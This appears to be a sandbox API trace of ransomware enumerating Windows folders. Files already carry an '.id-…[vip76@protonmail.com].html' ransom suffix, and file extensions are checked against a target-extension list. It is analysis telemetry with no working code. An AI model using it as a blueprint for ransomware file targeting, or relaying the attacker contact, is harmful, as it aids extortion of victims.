	[0166.167] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81f4afc5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81f4afc5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81f4afc5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="Setup.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPI~1.HTM")) returned 1
	[0166.167] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81f4afc5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81f4afc5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8245bff5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="stop.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="STOPIC~1.HTM")) returned 1
	[0166.168] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81fe38d8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81fe38d8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81fe38d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SysReqMet.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SYSREQ~1.HTM")) returned 1
	[0166.168] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82009b42, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82009b42, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82009b42, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SysReqNotMet.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SYSREQ~2.HTM")) returned 1
	[0166.168] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82009b42, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82009b42, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82009b42, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="warn.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WARNIC~1.HTM")) returned 1
	[0166.168] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82009b42, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82009b42, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82009b42, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="warn.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WARNIC~1.HTM")) returned 0
	[0166.168] FindClose (in: hFindFile=0x6aba18 | out: hFindFile=0x6aba18) returned 1
	[0166.169] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0166.169] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8226c094, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8226c094, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x822922be, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="HEADER~1.HTM")) returned 1
	[0166.169] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x852fd145, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~1.HTM")) returned 1
	[0166.170] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x836b000b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~2.HTM")) returned 1
	[0166.170] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x821ad5df, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x821ad5df, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82d4cc65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~3.HTM")) returned 1
	[0166.170] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x8699bbc0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~4.HTM")) returned 1
	[0166.170] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8325dcb3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8325dcb3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83473d77, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NE10CD~1.HTM")) returned 1
	[0166.170] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x838d7db4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x838d7db4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83924334, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NEC3EF~1.HTM")) returned 1
	[0166.170] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x822922be, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x822922be, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x822b8545, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PARAME~1.HTM")) returned 1
	[0166.170] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bd2da1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83bd2da1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83bd2da1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RGB9RA~1.HTM")) returned 1
	[0166.170] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bf90a1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83bf90a1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83bf90a1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RGB9RA~2.HTM")) returned 1
	[0166.170] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83e0efb8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83e0efb8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83e351af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPE~1.HTM")) returned 1
	[0166.170] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83e351af, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83e351af, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x842877c9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPE~2.HTM")) returned 1
	[0166.171] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x84109fa1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84109fa1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8413026c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPU~2.HTM")) returned 1
	[0166.171] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828881e3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x828881e3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x828881e3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPU~1.HTM")) returned 1
	[0166.171] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8415864b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8415864b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x847be9fb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPU~3.HTM")) returned 1
	[0166.171] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828ae3bc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x828ae3bc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x828ae3bc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SPLASH~1.HTM")) returned 1
	[0166.171] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x847e4b7f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x847e4b7f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x847e4b7f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SQMAPI~1.HTM")) returned 1
	[0166.171] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828fa8c4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x828fa8c4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82920b18, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="STRING~1.HTM")) returned 1
	[0166.171] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82920b18, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82920b18, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82d007cf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="UIINFO~1.HTM")) returned 1
	[0166.171] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x829b9437, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x829b9437, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x829b9437, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WATERM~1.HTM")) returned 1
	[0166.171] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x86ea976b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~1.HTM")) returned 1
	[0166.171] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x85d59f04, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~2.HTM")) returned 1
	[0166.172] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x86ea976b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~3.HTM")) returned 1
	[0166.172] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x86e8a7c7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~4.HTM")) returned 1
	[0166.172] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x86e8a7c7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~4.HTM")) returned 0
	[0166.172] FindClose (in: hFindFile=0x6abd58 | out: hFindFile=0x6abd58) returned 1
	[0166.172] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e20968 | out: hHeap=0x610000) returned 1
	[0166.173] FindNextFileW (in: hFindFile=0x6abd18, lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0166.173] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3e20968
	[0166.174] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6aba18
	[0166.174] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0166.174] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1
	[0166.174] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0166.175] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0166.175] lstrlenW (lpString="BCD.LOG1") returned 8
	[0166.175] lstrlenW (lpString=".1cd") returned 4
	[0166.175] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0166.175] lstrlenW (lpString=".3ds") returned 4
	[0166.175] lstrcmpiW (lpString1=".3ds", lpString2="LOG1") returned -1
	[0166.175] lstrlenW (lpString=".3fr") returned 4
	[0166.175] lstrcmpiW (lpString1=".3fr", lpString2="LOG1") returned -1
	[0166.175] lstrlenW (lpString=".3g2") returned 4
	[0166.175] lstrcmpiW (lpString1=".3g2", lpString2="LOG1") returned -1
	[0166.175] lstrlenW (lpString=".3gp") returned 4
	[0166.175] lstrcmpiW (lpString1=".3gp", lpString2="LOG1") returned -1
	[0166.175] lstrlenW (lpString=".7z") returned 3
	[0166.175] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0166.175] lstrlenW (lpString=".accda") returned 6
	[0166.175] lstrcmpiW (lpString1=".accda", lpString2="D.LOG1") returned -1
	[0166.175] lstrlenW (lpString=".accdb") returned 6
	[0166.175] lstrcmpiW (lpString1=".accdb", lpString2="D.LOG1") returned -1
	[0166.175] lstrlenW (lpString=".accdc") returned 6
	[0166.175] lstrcmpiW (lpString1=".accdc", lpString2="D.LOG1") returned -1
	[0166.175] lstrlenW (lpString=".accde") returned 6
	[0166.175] lstrcmpiW (lpString1=".accde", lpString2="D.LOG1") returned -1
	[0166.175] lstrlenW (lpString=".accdt") returned 6
	[0166.175] lstrcmpiW (lpString1=".accdt", lpString2="D.LOG1") returned -1
	[0166.175] lstrlenW (lpString=".accdw") returned 6
	[0166.175] lstrcmpiW (lpString1=".accdw", lpString2="D.LOG1") returned -1
	[0166.175] lstrlenW (lpString=".adb") returned 4
	[0166.175] lstrcmpiW (lpString1=".adb", lpString2="LOG1") returned -1
	[0166.175] lstrlenW (lpString=".adp") returned 4
	[0166.175] lstrcmpiW (lpString1=".adp", lpString2="LOG1") returned -1
	[0166.175] lstrlenW (lpString=".ai") returned 3
	[0166.176] lstrcmpiW (lpString1=".ai", lpString2="OG1") returned -1
	[0166.176] lstrlenW (lpString=".ai3") returned 4
	[0166.176] lstrcmpiW (lpString1=".ai3", lpString2="LOG1") returned -1
	[0166.176] lstrlenW (lpString=".ai4") returned 4
	[0166.176] lstrcmpiW (lpString1=".ai4", lpString2="LOG1") returned -1
	[0166.176] lstrlenW (lpString=".ai5") returned 4
	[0166.176] lstrcmpiW (lpString1=".ai5", lpString2="LOG1") returned -1
	[0166.176] lstrlenW (lpString=".ai6") returned 4
	[0166.176] lstrcmpiW (lpString1=".ai6", lpString2="LOG1") returned -1
	[0166.176] lstrlenW (lpString=".ai7") returned 4
	[0166.176] lstrcmpiW (lpString1=".ai7", lpString2="LOG1") returned -1
	[0166.176] lstrlenW (lpString=".ai8") returned 4
	[0166.176] lstrcmpiW (lpString1=".ai8", lpString2="LOG1") returned -1
	[0166.176] lstrlenW (lpString=".anim") returned 5
	[0166.176] lstrcmpiW (lpString1=".anim", lpString2=".LOG1") returned -1
	[0166.176] lstrlenW (lpString=".arw") returned 4
	[0166.176] lstrcmpiW (lpString1=".arw", lpString2="LOG1") returned -1
	[0166.176] lstrlenW (lpString=".as") returned 3
	[0166.176] lstrcmpiW (lpString1=".as", lpString2="OG1") returned -1
	[0166.176] lstrlenW (lpString=".asa") returned 4
	[0166.176] lstrcmpiW (lpString1=".asa", lpString2="LOG1") returned -1
	[0166.176] lstrlenW (lpString=".asc") returned 4
